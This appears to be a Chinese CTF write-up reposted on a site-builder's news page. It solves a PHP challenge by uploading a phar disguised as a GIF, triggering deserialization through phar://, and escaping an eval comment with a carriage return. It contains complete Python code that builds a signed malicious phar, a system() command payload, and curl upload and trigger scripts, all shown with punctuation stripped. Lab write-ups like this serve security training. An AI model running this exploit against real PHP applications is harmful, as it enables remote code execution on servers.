恒美微站 Logo 恒美微站
  • 首页
  • 关于我们
  • 建站服务
  • 主题模板
  • 案例展示
  • 资讯中心
  • 联系我们

CTF题目《UnserializeThree》(BUUCTF Web 困难 反序列化)

  • 首页
  • 资讯中心
  • /
  • CTF题目《UnserializeThree》(BUUCTF Web 困难 反序列化)

相关资讯

手写Servlet+JSP+MySQL新闻系统实战指南 2026/10/1 10:08:08
diff-so-fancy 缺陷报告指南:用 report-bug.sh 一键复现并提交高质量 Bug Report 2026/10/1 10:08:08
搅拌摩擦焊+液冷板+热管的集成设计:一份工程清单 2026/10/1 10:08:08

最新资讯

OpenGL着色器实战:从GLSL语法到三角形渲染全流程
生成式召回在交易搜索中的落地实践与踩坑指南
C# SolidWorks插件注册全解析:从COM原理到Regasm实战
Linux 挖矿病毒应急响应:从 CPU 告警到入口与持久化排查
AI率太高怎么办?八大降AI率工具实测与论文改写避坑指南
FPGA器件编程全流程解析:从RTL设计到JTAG下板的常见坑与排查

今日推荐

我发现了一个新思路:用 Remotion + Claude Code 像写代码一样自动化生成短视频
Windows下 Codex 中 Chrome 和 Computer Use 插件不可用问题排查及解决参考方式:TaoToken 统一 Key 配置与验证
2026 大模型集体涨价:用 Python 做企业 Token 成本测算与选型避坑(附配置)

本周热门

从像素到笔画:srt-whiteboard-animation骨架笔迹追踪实现(Zhang-Suen细化+8邻接追踪)
网站建设的英语怎么说?别只背单词,看完这套安全完整流程才敢上线
新手入门看这篇:建设网站加盟避坑指南与SEO实操

本月精选

我发现了一个新思路:用 Remotion + Claude Code 像写代码一样自动化生成短视频
Windows下 Codex 中 Chrome 和 Computer Use 插件不可用问题排查及解决参考方式:TaoToken 统一 Key 配置与验证
2026 大模型集体涨价:用 Python 做企业 Token 成本测算与选型避坑(附配置)

CTF题目《UnserializeThree》(BUUCTF Web 困难 反序列化)

发布时间:2026/10/1 10:13:08
CTF题目《UnserializeThree》(BUUCTF Web 困难 反序列化) DASCTF 上传题Hack Me—— phar 反序列化 getshell 详细题解面向零基础读者的一步步解析。每一步都会先说明「看到什么」再说明「为什么这样做」最后给出「具体怎么做」。〇、先看结论TL;DR考点文件上传 phar://反序列化触发__destruct配合eval执行任意命令。参考我详细介绍phar的文章绕过点preg_match只过滤了换行符\n但 PHP 的#注释遇到回车符\r0x0D也会结束于是用\r就能「逃出注释」执行代码。关键坑服务器开启了phar.require_hashphar 必须带签名签名位 GBMB否则文件能上传、能解析却不会触发反序列化此题第一次失败的原因。最终 FlagCTF2{d59ffcb8-c9cb-4a47-87bb-2cc6a11f353c}一、题目信息打开站点是一个绿色的上传页面标题Upload Page中间一句Hacker?下面一个「选择文件 Upload」按钮。页面地址形如http://xxxx.http-ctf2.dasctf.com/从响应头可以看到后端是PHP 7.3.15X-Powered-By: PHP/7.3.15。小白提示拿到题目第一件事永远是「看首页源码 找提示文件」不要急着上传东西。二、信息收集Recon2.1 看首页 HTML 源码右键「查看网页源代码」会发现一个很不起眼的注释!--class.php--为什么重要出题人专门留了这个注释等于直接告诉你「有一个文件叫class.php去看看」。2.2 访问 class.php拿到关键源码直接访问http://站点/class.php页面上是被高亮显示的 PHP 源码因为源码里调用了highlight_file(__FILE__)主动把自己打印出来?phphighlight_file(__FILE__);classEvil{public$cmd;publicfunction__destruct(){if(!preg_match(/||\?|php|.urldecode(%0a)./i,$this-cmd)){//Same point ,can you bypass me again?eval(#.$this-cmd);}else{echoNo!;}}}file_exists($_GET[file]);2.3 顺手看 robots.txt访问http://站点/robots.txtUser-agent: * Disallow: /static/secretkey.txt它其实在提示一个「秘密」访问http://站点/static/secretkey.txt得到you-will-never-guess小白提示这里secretkey.txt是障眼法/干扰信息。本题真正的利用方式phar 反序列化用不到它。但信息收集的规矩是看到线索先记下来再判断有没有用。三、漏洞分析这题到底怎么打3.1 两个关键点把class.php拆开看真正的核心只有两处(1) 危险的析构函数publicfunction__destruct(){if(!preg_match(...)){eval(#.$this-cmd);// -- 会执行代码}}__destruct()是 PHP 的「魔术方法」当对象被销毁时自动调用。它会把$this-cmd拼在#后面交给eval()执行。#在 PHP 里是单行注释所以正常情况下#后面的内容会被当注释忽略——这正是出题人的「锁」。(2) 全局的触发入口file_exists($_GET[file]);这行代码在文件末尾单独存在它接收?file参数并且把它丢给了file_exists()。file_exists()支持各种流封装协议wrapper其中就包括phar://。重点当 PHP 通过phar://去访问一个文件哪怕只是file_exists这种判断存在性PHP 会去解析这个 phar 文件的元数据metadata而元数据是serialize()格式的——解析时就会发生反序列化从而构造出对象、进而在脚本结束时触发__destruct()。3.2 串起来的攻击链上传一个恶意 phar 文件扩展名合法 │ ▼ 访问 class.php?filephar://上传的文件路径 │ ▼ file_exists() 解析 phar → 反序列化出 Evil 对象cmd 我们的命令 │ ▼ 脚本结束 → Evil::__destruct() 被调用 → eval(# cmd) │ ▼ 命令执行getshell一句话总结这题是典型的「phar 反序列化」。只要代码里出现file_exists / file_get_contents / is_file / file_exists等函数、参数可控、又存在一个有__destruct魔术方法的类——就可以用phar://把它打穿。四、绕过preg_match过滤本题最烧脑的一步4.1 过滤规则是什么preg_match(/||\?|php|.urldecode(%0a)./i,$this-cmd)把它翻译成人话cmd里不能包含被过滤说明防止写?闭合标签防止写?php?防止写?/?php防止出现php字符串\nurldecode(%0a)就是换行符**只要命中任意一个就输出No!不执行。4.2 为什么普通思路不行由于eval(#.$cmd)前面有个#我们必须让#注释「提前结束」否则我们的代码永远是被注释掉的一行。那#注释在哪里结束看 PHP 官方词法扫描器zend_language_scanner.l里#注释的处理逻辑它会在这几种情况结束遇到换行\n遇到回车\r0x0D遇到?即?后面跟想用\n被过滤了 ❌想用??和都被过滤了 ❌只剩\r0x0D可用✅4.3 最终 payload令cmd的第一个字符是回车符\r后面跟正常命令\r system(id);拼进去后变成eval(#\rsystem(id););执行时#注释在\r处结束于是system(id);就被当作正常代码执行了。小白提示\r是一个不可见字符十六进制0D。在宽字节/二进制层面写入时用\x0d表示。写代码时别手滑写成普通的「回车换行」也别写成字符\n。五、上传功能侦察5.1 上传后会发生什么随便传个文件观察响应。当扩展名合法时页面底部会多出一行Saved to: upload/0e06e21e71adb6361d7df15bd784c7b6.gif由此得到两条关键情报上传目录是upload/单数不是uploads。文件名被改写成32位md5.扩展名路径会在响应里回显。5.2 探测白名单逐个试扩展名观察是否出现Saved to:文件名结果t1.gif✅ Saved to ….gift2.jpg✅t3.jpeg✅t4.png✅t5.bmp❌ REJECTEDt6.gif.php❌ REJECTEDt7.php.gif✅黑名单只查了结尾t8.phar❌ REJECTEDt9.txt❌ REJECTED结论白名单是gif / jpg / jpeg / png四种图片后缀。小白提示phar 文件对内容格式有要求但对扩展名没有要求。也就是说只要我们把 phar 的二进制内容存成xxx.gif传上去PHP 照样能用phar://解析它。所以扩展名白名单拦不住 phar 反序列化。六、构造恶意 phar 文件6.1 phar 文件的结构一个 phar 文件长这样从前往后依次是[stub PHP 桩] [manifest 清单] [file contents 文件内容] [signature 签名(可选)]stub一段 PHP 代码必须以__HALT_COMPILER(); ?结尾这是 PHP 用来定位清单起始位置的「路标」。manifest核心里面有serialize()格式的metadata元数据反序列化就发生在这里。file contents里面随便塞的文件内容。signature签名本题必须带见 6.3。6.2 我们真正关心的只有 metadata我们要让 phar 的 metadata 里存着这样一个序列化字符串O:4:Evil:1:{s:3:cmd;s:长度:\rsystem(id;cat /flag);;}O:4:Evil表示一个类名叫Evil的对象正好对应class.php里的类。1有 1 个属性。s:3:cmd属性名叫cmd。s:长度:内容属性值。注意开头的\r0x0D就是我们的绕过字符。当 PHP 用phar://解析它时就会反序列化出Evil对象cmd被赋值为我们的命令脚本结束时__destruct自动执行。6.3 本题最大的坑必须带签名第一次尝试失败构造了不带签名的 phar上传成功、文件字节也完好能下载回来核对但触发时没有回显命令结果也没触发反序列化。原因PHP 的phar.require_hash配置默认要求 phar 必须带签名。如果 phar 没有签名PHP 会直接拒绝把它当作 phar 来处理于是根本不会去解析 metadata反序列化自然不会发生。解决给 phar 加上MD5 签名在 manifest 的全局标志位上设置0x00010000表示「本 phar 带签名」。在文件结尾追加[对整个文件(签名之前的所有字节)计算的 MD5 摘要] [4字节签名类型0x00000001] GBMB加上签名后再上传、再触发——成功执行命令并回显6.4 用 Python 构造 phar附完整脚本与逐行解释正常情况我们直接用 PHP 的Phar类生成 phar 最省事。但本题环境没有 PHP所以我们用 Python按字节拼出合法的 phar。下面每一段都加了解释。importstruct,zlib,hashlibdefu32(x):# phar 里几乎所有整数都是「小端 4 字节」returnstruct.pack(I,x0xffffffff)# ① 我们要注入的命令开头用一个回车符 \r 逃出 eval 里的 # 注释# 注意命令里千万别出现 ? 或 php 字样否则会被 preg_match 拦下输出 No!payloadb\rsystem(id;ls -la /;cat /flag*;cat /flag;cat /flag.txt);# ② phar 的 stub必须以 __HALT_COMPILER(); ? 结尾stubb?php __HALT_COMPILER(); ?# ③ 清单里要放一个「文件条目」phar 至少要有 1 个文件否则报错fnameba.txtdatabAAAA# 文件内容随便塞entryu32(len(fname))fname entryu32(len(data))# 未压缩大小entryu32(0)# 时间戳entryu32(len(data))# 压缩后大小没压缩等于原大小entryu32(zlib.crc32(data)0xffffffff)# 内容 CRC32 校验entryu32(0x000001B6)# 权限位 0666entryu32(0)# 条目 metadata 长度 0# ④ 关键全局 metadata —— 我们要让 PHP 反序列化出的 Evil 对象serbO:4:Evil:1:{s:3:cmd;s:%d:%s;}%(len(payload),payload)# ⑤ 拼出 manifestbodyu32(1)# 文件数量 1bodystruct.pack(H,0x1100)# API 版本大端两字节这是历史遗留写法bodyu32(0x00010000)# ★ 全局标志带签名不加这行 触发失败bodyu32(0)# 别名长度 0bodyu32(len(ser))ser# 全局 metadata 长度 内容bodyentry# 追加文件条目mlenlen(body)if(mlen0xFF)in(0x0A,0x0D):# PHP 写文件时的防坑manifest 长度最低字节不能是 \n/\rbodyb\x00;mlen1# ⑥ 组装签名之前的全部字节prestubu32(mlen)bodydata sighashlib.md5(pre).digest()# 对整个文件做 MD5blobpresigu32(1)bGBMB# 追加摘要 类型(0x1MD5) 魔数 GBMBopen(payload.gif,wb).write(blob)# 存成 .gif 好绕过上传白名单print(phar 大小,len(blob))小白提示这份脚本里最容易被忽略、却最致命的两个细节body u32(0x00010000)—— 少了它就是本题第一次失败的原因。结尾的u32(1) bGBMB—— 缺了它 PHP 就认为「签破损」直接拒绝。七、完整利用流程照着做即可第 1 步本地生成恶意 phar把上面的 Python 脚本保存为build.py并运行python3 build.py# 输出phar 大小 201# 生成文件payload.gif第 2 步上传用浏览器或 curl 上传即可浏览器里选payload.gif点 Upload 也行curl-XPOSThttp://站点/index.php\-Ffilepayload.gif;filenamep2.gif;typeimage/gif响应里会回显保存路径例如Saved to: upload/2a25bb2d4d984275dbb27e06b28c2968.gif记下这个路径下一步要用。第 3 步触发反序列化访问class.php并把file参数写成phar:// 刚才的路径http://站点/class.php?filephar://upload/2a25bb2d4d984275dbb27e06b28c2968.gif第 4 步看回显页面在打印完class.php源码后底下会多出我们的命令输出uid33(www-data) gid33(www-data) groups33(www-data) total 88 drwxr-xr-x 1 root root 4096 Sep 24 00:53 . ... -rw-r--r-- 1 root root 43 Sep 24 00:53 flag - 看到 flag 文件 ... CTF2{d59ffcb8-c9cb-4a47-87bb-2cc6a11f353c} - 拿到 flag第 5 步收工Flag: CTF2{d59ffcb8-c9cb-4a47-87bb-2cc6a11f353c}八、知识小结这题考了什么知识点说明魔术方法__destruct对象销毁时自动执行是反序列化链的常见「终点」。phar://反序列化只要参数可控地进入file_exists等文件函数且phar://可用、存在魔术方法类就能触发反序列化。不需要unserialize()函数出现。#注释绕过PHP 的#注释不仅被\n结束也会被\r0x0D结束过滤只堵了\n就用\r绕过。phar.require_hash开启时 phar必须带签名否则不会被解析反序列化不会发生。签名由「摘要 类型 GBMB」构成并在全局标志位打上0x00010000。上传白名单白名单只校验扩展名拦不住「内容是 phar、后缀是图片」的文件。信息收集HTML 注释!--class.php--、robots.txt都是出题的引导线索。九、常见踩坑清单写给容易卡住的你只堵了\n用\r。别写成字符\n要写真正的回车符0x0D。payload 里不要出现 ? php。否则命中过滤只回显No!。phar 一定要带签名0x00010000标志位 结尾摘要类型GBMB否则「能传能解析但不触发」。上传目录是upload/单数路径用响应里回显的那串别瞎猜。触发点在class.php它自己file_exists($_GET[file])用?filephar://...传路径不是index.php。phar://后面接的是「服务器上的相对路径」即upload/xxx.gif而不是完整的http://...。命令回显可能夹在页面源码里注意用「查看源代码」或在返回里搜uid/CTF2{。十、复现用的一键脚本可选# build.py —— 生成带 MD5 签名、能触发反序列化的恶意 pharimportstruct,zlib,hashlibdefu32(x):returnstruct.pack(I,x0xffffffff)# 用 \r 逃出 eval(#.$cmd) 的注释命令里避免 ? phppayloadb\rsystem(cat /flag*;cat /flag;cat /flag.txt);stubb?php __HALT_COMPILER(); ?fname,databa.txt,bAAAAentryu32(len(fname))fnameu32(len(data))u32(0)u32(len(data))entryu32(zlib.crc32(data)0xffffffff)u32(0x000001B6)u32(0)serbO:4:Evil:1:{s:3:cmd;s:%d:%s;}%(len(payload),payload)bodyu32(1)struct.pack(H,0x1100)u32(0x00010000)u32(0)bodyu32(len(ser))serentry mlenlen(body)if(mlen0xFF)in(0x0A,0x0D):bodyb\x00;mlen1prestubu32(mlen)bodydata blobprehashlib.md5(pre).digest()u32(1)bGBMBopen(payload.gif,wb).write(blob)print([] payload.gif 已生成大小,len(blob))# 上传并触发把 站点 换成你的题目地址BASEhttp://站点resp$(curl-s-XPOST$BASE/index.php-Ffilepayload.gif;filenamep.gif;typeimage/gif)saved$(echo$resp|grep-oEupload/[0-9a-f]\.gif|head-1)echo[] 上传路径$savedcurl-s$BASE/class.php?filephar://$saved|seds/[^]*//g附最终答案CTF2{d59ffcb8-c9cb-4a47-87bb-2cc6a11f353c}

关于恒美微站

恒美微站专注于为个体商户、工作室提供极简自助建站服务,让每个人都能轻松拥有专业网站。

快速链接

  • 关于我们
  • 建站服务
  • 主题模板
  • 案例展示
  • 资讯中心

服务项目

  • 可视化建站
  • 拖拽编辑
  • 主题定制
  • SEO 优化
  • 网站托管

联系方式

  • 📍 地址:北京市朝阳区建国路 88 号
  • 📞 电话:400-888-8888
  • ✉️ 邮箱:info@hmyw.cn
  • 🕐 时间:周一至周日 9:00-18:00

© 2024 恒美微站 hmyw.cn 版权所有 | 京 ICP 备 12345678 号